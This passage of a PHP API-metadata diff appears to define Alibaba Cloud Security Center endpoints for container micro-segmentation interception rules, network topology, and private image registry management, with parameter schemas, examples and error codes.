'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + [ + 'name' => 'SrcTarget', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '源对象。包含的参数说明如下：'."\n" + ."\n" + .'- targetId：源对象ID，您可以调用[ListInterceptionTargetPage](~~ListInterceptionTargetPage~~)接口获取该参数。', + 'type' => 'object', + 'required' => false, + 'example' => '{"targetId":301940}', + ], + ], + [ + 'name' => 'DstTargetList', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '目的对象列表。包含的参数说明如下：'."\n" + ."\n" + .'- targetId：目的对象ID，您可以调用[ListInterceptionTargetPage](~~ListInterceptionTargetPage~~)接口获取该参数。'."\n" + .'- ports：目标端口范围列表。', + 'type' => 'object', + 'required' => false, + 'example' => '['."\n" + .' {'."\n" + .' "targetId": 600036,'."\n" + .' "ports": ['."\n" + .' "1/65535"'."\n" + .' ]'."\n" + .' }'."\n" + .']', + ], + ], + [ + 'name' => 'RuleType', + 'in' => 'query', + 'schema' => [ + 'description' => '规则类型。取值：'."\n" + .'- customize：用户规则', + 'type' => 'string', + 'required' => false, + 'example' => 'customize', + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'sas-test-cnnf', + ], + ], + [ + 'name' => 'OrderIndex', + 'in' => 'query', + 'schema' => [ + 'description' => '规则优先级，取值为1~1000，数字越小优先级越高。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1', + ], + ], + [ + 'name' => 'InterceptType', + 'in' => 'query', + 'schema' => [ + 'description' => '拦截模式。取值：'."\n" + .'- **1**：拦截模式'."\n" + .'- **2**：告警模式'."\n" + .'- **3**：放行模式', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'A01810A0-xxx5E2676', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"A01810A0-xxx5E2676\\"\\n}","type":"json"}]', + 'title' => '创建拦截规则', + ], + 'CreateInterceptionTarget' => [ + 'summary' => '创建拦截目标对象。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'create', + 'abilityTreeCode' => '91928', + 'abilityTreeNodes' => [ + 'FEATUREsas5HPCI8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'TargetName', + 'in' => 'query', + 'schema' => [ + 'description' => '拦截对象名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '对象类型。取值：'."\n" + .'- **IMAGE**：镜像', + 'type' => 'string', + 'required' => true, + 'example' => 'IMAGE', + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '指定网络对象包含的命名空间。', + 'type' => 'string', + 'required' => true, + 'example' => 'default', + ], + ], + [ + 'name' => 'AppName', + 'in' => 'query', + 'schema' => [ + 'description' => '指定网络对象包含的应用名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'frontend', + ], + ], + [ + 'name' => 'ImageList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定网络对象包含的镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像信息列表。', + 'type' => 'string', + 'required' => false, + 'example' => 'jenkins-master:2.277', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'TagList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '指定网络对象包含的标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标签信息', + 'type' => 'string', + 'required' => false, + 'example' => 'app.kubernetes.io/instance:cas0-oms', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'cc20a1024011c44b6a8710d6f8b****', + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas-test-cnnf', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Result' => [ + 'description' => '返回结果。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '5B9ECCC0-38F7-***', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'eventInfo' => [ + 'enable' => false, + 'eventNames' => [], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"5B9ECCC0-38F7-***\\"\\n}","type":"json"}]', + 'title' => '创建拦截目标', + ], + 'GetInterceptionRuleDetail' => [ + 'summary' => '查询微隔离防御规则详情。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'c7f60fdabc84xxx', + ], + ], + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。'."\n" + .'> 您可以调用[ListInterceptionRulePage](~~ListInterceptionRulePage~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '500002', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9FBC6E47-7508-xxx', + ], + 'InterceptionRuleDetail' => [ + 'description' => '拦截规则详情。', + 'type' => 'object', + 'properties' => [ + 'RuleType' => [ + 'description' => '规则类型。取值：'."\n" + ."\n" + .'- **suggest**：建议规则'."\n" + .'- **customize**：自定义规则', + 'type' => 'string', + 'enumValueTitles' => [ + 'suggest' => 'suggest', + 'customize' => 'customize', + ], + 'example' => 'customize', + ], + 'RuleSwitch' => [ + 'description' => '调度规则的开关状态。取值：'."\n" + ."\n" + .'- **1**：表示开启。'."\n" + .'- **0**：表示关闭。', + 'type' => 'integer', + 'format' => 'int32', + 'enumValueTitles' => [ + '0', + '1', + ], + 'example' => '1', + ], + 'RuleId' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '467', + ], + 'RuleName' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'example' => 'dmz-frontend-accept', + ], + 'SrcTarget' => [ + 'description' => '源网络对象。', + 'type' => 'object', + 'properties' => [ + 'AppName' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'example' => 'console', + ], + 'RuleType' => [ + 'description' => '规则类型。', + 'type' => 'string', + 'example' => 'customize', + ], + 'TargetId' => [ + 'description' => '网络对象ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '300635', + ], + 'TargetName' => [ + 'description' => '对象名称。', + 'type' => 'string', + 'example' => 'dmz', + ], + 'Namespace' => [ + 'description' => '网络对象所在命名空间。', + 'type' => 'string', + 'example' => 'default', + ], + 'TargetType' => [ + 'description' => '网络对象类型。', + 'type' => 'string', + 'example' => 'IMAGE', + ], + 'ImageList' => [ + 'description' => '网络对象包含的镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像列表。', + 'type' => 'string', + 'example' => 'arms-prom-operator:v0.1', + ], + ], + 'TagList' => [ + 'description' => '网络对象包含的标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网络对象包含的标签列表。', + 'type' => 'string', + 'example' => 'service:be-v1', + ], + ], + ], + ], + 'DstTarget' => [ + 'description' => '目的网络对象。', + 'type' => 'object', + 'properties' => [ + 'AppName' => [ + 'description' => '应用名称。', + 'type' => 'string', + 'example' => 'console', + ], + 'RuleType' => [ + 'description' => '规则类型。', + 'type' => 'string', + 'example' => 'customize', + ], + 'TargetId' => [ + 'description' => '网络对象ID。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '200014', + ], + 'TargetName' => [ + 'description' => '对象名称。', + 'type' => 'string', + 'example' => 'demo4-be1', + ], + 'Namespace' => [ + 'description' => '网络对象所在命名空间。', + 'type' => 'string', + 'example' => 'kube-system', + ], + 'TargetType' => [ + 'description' => '网络对象类型。', + 'type' => 'string', + 'example' => 'IMAGE', + ], + 'Ports' => [ + 'description' => '目的网络对象端口范围。', + 'type' => 'array', + 'items' => [ + 'description' => '目的网络对象端口范围。', + 'type' => 'string', + 'example' => '80/8080', + ], + ], + 'ImageList' => [ + 'description' => '指定网络对象包含的镜像名称。', + 'type' => 'array', + 'items' => [ + 'description' => '指定网络对象包含的镜像名称。', + 'type' => 'string', + 'example' => 'bj_storage:nginx1', + ], + ], + 'TagList' => [ + 'description' => '指定网络对象包含的标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '指定网络对象包含的标签列表。', + 'type' => 'string', + 'example' => 'chart:ack-arms-prometheus-1.1.0', + ], + ], + ], + ], + 'InterceptType' => [ + 'description' => '拦截模式。取值：'."\n" + .'- **0**: 观察模式'."\n" + .'- **1**: 拦截模式'."\n" + .'- **2**: 告警模式'."\n" + .'- **3**: 放行模式', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + 'OrderIndex' => [ + 'description' => '规则优先级，取值为1~1000，数字越小优先级越高。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-xxx\\",\\n \\"InterceptionRuleDetail\\": {\\n \\"RuleType\\": \\"customize\\",\\n \\"RuleSwitch\\": 1,\\n \\"RuleId\\": 467,\\n \\"RuleName\\": \\"dmz-frontend-accept\\",\\n \\"SrcTarget\\": {\\n \\"AppName\\": \\"console\\",\\n \\"RuleType\\": \\"customize\\",\\n \\"TargetId\\": 300635,\\n \\"TargetName\\": \\"dmz\\",\\n \\"Namespace\\": \\"default\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"ImageList\\": [\\n \\"arms-prom-operator:v0.1\\"\\n ],\\n \\"TagList\\": [\\n \\"service:be-v1\\"\\n ]\\n },\\n \\"DstTarget\\": {\\n \\"AppName\\": \\"console\\",\\n \\"RuleType\\": \\"customize\\",\\n \\"TargetId\\": 200014,\\n \\"TargetName\\": \\"demo4-be1\\",\\n \\"Namespace\\": \\"kube-system\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"Ports\\": [\\n \\"80/8080\\"\\n ],\\n \\"ImageList\\": [\\n \\"bj_storage:nginx1\\"\\n ],\\n \\"TagList\\": [\\n \\"chart:ack-arms-prometheus-1.1.0\\"\\n ]\\n },\\n \\"InterceptType\\": 1,\\n \\"OrderIndex\\": 1\\n }\\n}","type":"json"}]', + 'title' => '查询微隔离防御规则详情', + ], + 'ListImageRegistryRegion' => [ + 'summary' => '查询支持私有镜像仓库接入的地域。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasF0IRDR', + ], + ], + 'parameters' => [ + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '请求和接收消息的语言类型，默认值为zh。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '291B49F9-1685-4005-9D34-606B6F78****', + ], + 'Regions' => [ + 'description' => '返回Region列表。', + 'type' => 'array', + 'items' => [ + 'description' => '返回Region对象。', + 'type' => 'object', + 'properties' => [ + 'RegionName' => [ + 'description' => '地域名称。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'RegionId' => [ + 'description' => '镜像所在地域的id。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"291B49F9-1685-4005-9D34-606B6F78****\\",\\n \\"Regions\\": [\\n {\\n \\"RegionName\\": \\"cn-hangzhou\\",\\n \\"RegionId\\": \\"cn-hangzhou\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询支持私有镜像仓库接入的地域', + ], + 'GetAppNetwork' => [ + 'summary' => '获取容器应用间网络拓扑。', + 'methods' => [ + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'StartTime', + 'in' => 'query', + 'schema' => [ + 'description' => '开始时间的时间戳。单位：毫秒。'."\n" + ."\n" + .'> 开始时间戳和结束时间戳不能超过**7**天。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1649260800000', + ], + ], + [ + 'name' => 'EndTime', + 'in' => 'query', + 'schema' => [ + 'description' => '结束时间的时间戳。单位：毫秒。'."\n" + ."\n" + .'> 开始时间戳和结束时间戳相差不能超过**7**天。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1650470399999', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'cf77xxx', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => 'Schema of Response', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7D46EDB0-xxx', + ], + 'AppNetwork' => [ + 'description' => '应用网络拓扑信息。', + 'type' => 'object', + 'properties' => [ + 'Node' => [ + 'description' => '应用节点信息。', + 'type' => 'array', + 'items' => [ + 'description' => '应用节点信息。', + 'type' => 'object', + 'properties' => [ + 'RiskLevel' => [ + 'description' => '风险等级。取值：'."\n" + ."\n" + .'- **3**：高危。'."\n" + .'- **2**：中危。'."\n" + .'- **1**：低危。'."\n" + .'- **0**：安全。'."\n" + .'- **-1**：未知。', + 'type' => 'string', + 'example' => '0', + ], + 'Id' => [ + 'description' => '节点ID。', + 'type' => 'string', + 'example' => '1274', + ], + 'NamespaceId' => [ + 'description' => '命名空间ID。', + 'type' => 'string', + 'example' => '1', + ], + 'ContainerIds' => [ + 'description' => '容器id列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器ID。', + 'type' => 'string', + 'example' => '10a6c3fbaaxxx', + ], + ], + 'Type' => [ + 'description' => '节点类型。取值：'."\n" + .'- **app**：应用'."\n" + .'- **internet**：外部网络节点', + 'type' => 'string', + 'enumValueTitles' => [], + 'example' => 'app', + ], + 'Name' => [ + 'description' => '节点名称。', + 'type' => 'string', + 'example' => 'console', + ], + ], + ], + ], + 'Edge' => [ + 'description' => '拓扑边信息。', + 'type' => 'array', + 'items' => [ + 'description' => '拓扑边信息。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '边的ID。', + 'type' => 'string', + 'example' => '3534', + ], + 'SrcNodeId' => [ + 'description' => '源节点ID。', + 'type' => 'string', + 'example' => '101', + ], + 'SrcNodeType' => [ + 'description' => '源节点类型。'."\n" + .'- **app**：应用。'."\n" + .'- **internet**：外部网络节点。', + 'type' => 'string', + 'example' => 'app', + ], + 'DstNodeId' => [ + 'description' => '目的节点ID。', + 'type' => 'string', + 'example' => '102', + ], + 'DstNodeType' => [ + 'description' => '目的节点类型。'."\n" + .'- **app**：应用。'."\n" + .'- **internet**：外部网络节点。', + 'type' => 'string', + 'example' => 'app', + ], + 'Port' => [ + 'description' => '目的端口号。', + 'type' => 'string', + 'example' => '8080', + ], + ], + ], + ], + 'Namespace' => [ + 'description' => '命名空间。', + 'type' => 'array', + 'items' => [ + 'description' => '命名空间。', + 'type' => 'object', + 'properties' => [ + 'Id' => [ + 'description' => '命名空间ID。', + 'type' => 'string', + 'example' => '1', + ], + 'Name' => [ + 'description' => '命名空间名称。', + 'type' => 'string', + 'example' => 'default', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7D46EDB0-xxx\\",\\n \\"AppNetwork\\": {\\n \\"Node\\": [\\n {\\n \\"RiskLevel\\": \\"0\\",\\n \\"Id\\": \\"1274\\",\\n \\"NamespaceId\\": \\"1\\",\\n \\"ContainerIds\\": [\\n \\"10a6c3fbaaxxx\\"\\n ],\\n \\"Type\\": \\"app\\",\\n \\"Name\\": \\"console\\"\\n }\\n ],\\n \\"Edge\\": [\\n {\\n \\"Id\\": \\"3534\\",\\n \\"SrcNodeId\\": \\"101\\",\\n \\"SrcNodeType\\": \\"app\\",\\n \\"DstNodeId\\": \\"102\\",\\n \\"DstNodeType\\": \\"app\\",\\n \\"Port\\": \\"8080\\"\\n }\\n ],\\n \\"Namespace\\": [\\n {\\n \\"Id\\": \\"1\\",\\n \\"Name\\": \\"default\\"\\n }\\n ]\\n }\\n}","type":"json"}]', + 'title' => '获取容器应用间网络拓扑', + ], + 'AddPrivateRegistry' => [ + 'summary' => '接入用户自建镜像仓。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'create', + ], + 'parameters' => [ + [ + 'name' => 'RegistryType', + 'in' => 'query', + 'schema' => [ + 'description' => '私有镜像仓库类型。 取值：'."\n" + .'- **harbor**：harbor环境'."\n" + .'- **quay**：quay环境', + 'type' => 'string', + 'required' => true, + 'example' => 'harbor', + ], + ], + [ + 'name' => 'RegistryVersion', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓版本。取值：'."\n" + ."\n\n" + .'- **V1**：1.0版本'."\n" + .'- **V2**：2.0版本', + 'type' => 'string', + 'required' => true, + 'example' => 'V2', + ], + ], + [ + 'name' => 'ProtocolType', + 'in' => 'query', + 'schema' => [ + 'description' => '协议类型。取值：'."\n" + .'- **1**：http'."\n" + .'- **2**：https', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2', + ], + ], + [ + 'name' => 'NetType', + 'in' => 'query', + 'schema' => [ + 'description' => '网络类型。取值：'."\n" + .'- **1**：公网'."\n" + .'- **2**：vpc', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2', + ], + ], + [ + 'name' => 'VpcId', + 'in' => 'query', + 'schema' => [ + 'description' => 'VPC的实例ID。', + 'type' => 'string', + 'required' => false, + 'example' => 'vpc-wz9hs3e5*******908kd', + ], + ], + [ + 'name' => 'RegistryHostIp', + 'in' => 'query', + 'schema' => [ + 'description' => '仓库IP地址。', + 'type' => 'string', + 'required' => true, + 'example' => '114.55.**.**', + ], + ], + [ + 'name' => 'DomainName', + 'in' => 'query', + 'schema' => [ + 'description' => '仓库域名。', + 'type' => 'string', + 'required' => true, + 'example' => 'example.com', + ], + ], + [ + 'name' => 'UserName', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库用户名', + 'type' => 'string', + 'required' => true, + 'example' => 'xxxxx', + ], + ], + [ + 'name' => 'Password', + 'in' => 'query', + 'schema' => [ + 'description' => '密码。', + 'type' => 'string', + 'required' => true, + 'example' => '******', + ], + ], + [ + 'name' => 'RegistryRegionId', + 'in' => 'query', + 'schema' => [ + 'description' => '地域ID。'."\n" + .'>您可以调用[ListImageRegistryRegion](~~ListImageRegistryRegion~~)接口获取支持的地域ID。', + 'type' => 'string', + 'required' => true, + 'example' => 'cn-hangzhou', + ], + ], + [ + 'name' => 'TransPerHour', + 'in' => 'query', + 'schema' => [ + 'description' => '每小时扫描的镜像数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'ExtraParam', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓库附加参数，使用**quay**时必填。包含：'."\n" + ."\n" + .'- **namespace**：命名空间'."\n" + .'- **authToken**：授权token', + 'type' => 'string', + 'required' => false, + 'example' => '[{"namespace":"aa","authToken":"aa"}]', + ], + ], + [ + 'name' => 'Port', + 'in' => 'query', + 'schema' => [ + 'description' => '端口号。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '80', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F8B6F758-BCD4-597A-8A2C-DA5A552C****', + ], + 'Data' => [ + 'description' => '处理结果。', + 'type' => 'object', + 'properties' => [ + 'VpcId' => [ + 'description' => 'VPC的实例ID。', + 'type' => 'string', + 'example' => 'vpc-2vchkxmf2j9yjt3x2****', + ], + 'Token' => [ + 'description' => 'Token值。', + 'type' => 'string', + 'example' => '3c3c602c-fa1f-4bc0-992f-b4b2cac7****', + ], + 'TransPerHour' => [ + 'description' => '每小时扫描任务数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'AliUid' => [ + 'description' => '用户ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1766185894104***', + ], + 'RegistryType' => [ + 'description' => '镜像仓库类型。取值：'."\n" + ."\n" + .'- **harbor**：harbor环境'."\n" + .'- **quay**：quay环境', + 'type' => 'string', + 'example' => 'harbor', + ], + 'DomainName' => [ + 'description' => '仓库域名。', + 'type' => 'string', + 'example' => 'example.com', + ], + 'RegionId' => [ + 'description' => '仓库地域ID。', + 'type' => 'string', + 'example' => 'cn-hangzhou', + ], + 'Password' => [ + 'description' => '密码。', + 'type' => 'string', + 'example' => '***********', + ], + 'NetType' => [ + 'description' => '网络类型。取值：'."\n" + .'- **1**：公网'."\n" + .'- **2**：vpc', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2', + ], + 'RegistryVersion' => [ + 'description' => '镜像仓版本，默认值"-"。取值：'."\n" + ."\n" + .'- **\\-**：默认'."\n" + .'- **V1**：1.0版本'."\n" + .'- **V2**：2.0版本', + 'type' => 'string', + 'example' => 'V2', + ], + 'ProtocolType' => [ + 'description' => '协议类型。取值：'."\n" + .'- **1**：http'."\n" + .'- **2**：https', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '2', + ], + 'RegistryHostIp' => [ + 'description' => '仓库IP地址。', + 'type' => 'string', + 'example' => '114.55.**.**', + ], + 'UserName' => [ + 'description' => '用户名。', + 'type' => 'string', + 'example' => '******', + ], + 'Id' => [ + 'description' => '唯一ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '273698***', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"F8B6F758-BCD4-597A-8A2C-DA5A552C****\\",\\n \\"Data\\": {\\n \\"VpcId\\": \\"vpc-2vchkxmf2j9yjt3x2****\\",\\n \\"Token\\": \\"3c3c602c-fa1f-4bc0-992f-b4b2cac7****\\",\\n \\"TransPerHour\\": 10,\\n \\"AliUid\\": 0,\\n \\"RegistryType\\": \\"harbor\\",\\n \\"DomainName\\": \\"example.com\\",\\n \\"RegionId\\": \\"cn-hangzhou\\",\\n \\"Password\\": \\"***********\\",\\n \\"NetType\\": 2,\\n \\"RegistryVersion\\": \\"V2\\",\\n \\"ProtocolType\\": 2,\\n \\"RegistryHostIp\\": \\"114.55.**.**\\",\\n \\"UserName\\": \\"******\\",\\n \\"Id\\": 0\\n }\\n}","type":"json"}]', + 'title' => '接入自建镜像仓', + ], + 'DeletePrivateRegistry' => [ + 'summary' => '根据镜像仓库ID删除私有仓库。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'delete', + 'abilityTreeCode' => '91970', + 'abilityTreeNodes' => [ + 'FEATUREsasA217JR', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'RegistryId', + 'in' => 'query', + 'schema' => [ + 'description' => '镜像仓ID。'."\n" + .'>调用[PageImageRegistry](~~PageImageRegistry~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '22233', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Data' => [ + 'description' => '返回数据。取值：'."\n" + .'- **true**：成功'."\n" + .'- **false**：失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '818E3B38-F018-50FF-9A85-5A521747****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": true,\\n \\"RequestId\\": \\"818E3B38-F018-50FF-9A85-5A521747****\\"\\n}","type":"json"}]', + 'title' => '删除私有仓库', + ], + 'GetClusterRuleSummary' => [ + 'summary' => '查询微隔离集群规则总览信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'cc49d88d1exxx', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '291B49F9-xxx', + ], + 'ClusterRuleSummary' => [ + 'description' => '集群规则概述信息。', + 'type' => 'object', + 'properties' => [ + 'InterceptionSwitch' => [ + 'description' => '集群拦截开关。取值：'."\n" + .'- **0:** 关'."\n" + .'- **1:** 开', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'CloseRuleCount' => [ + 'description' => 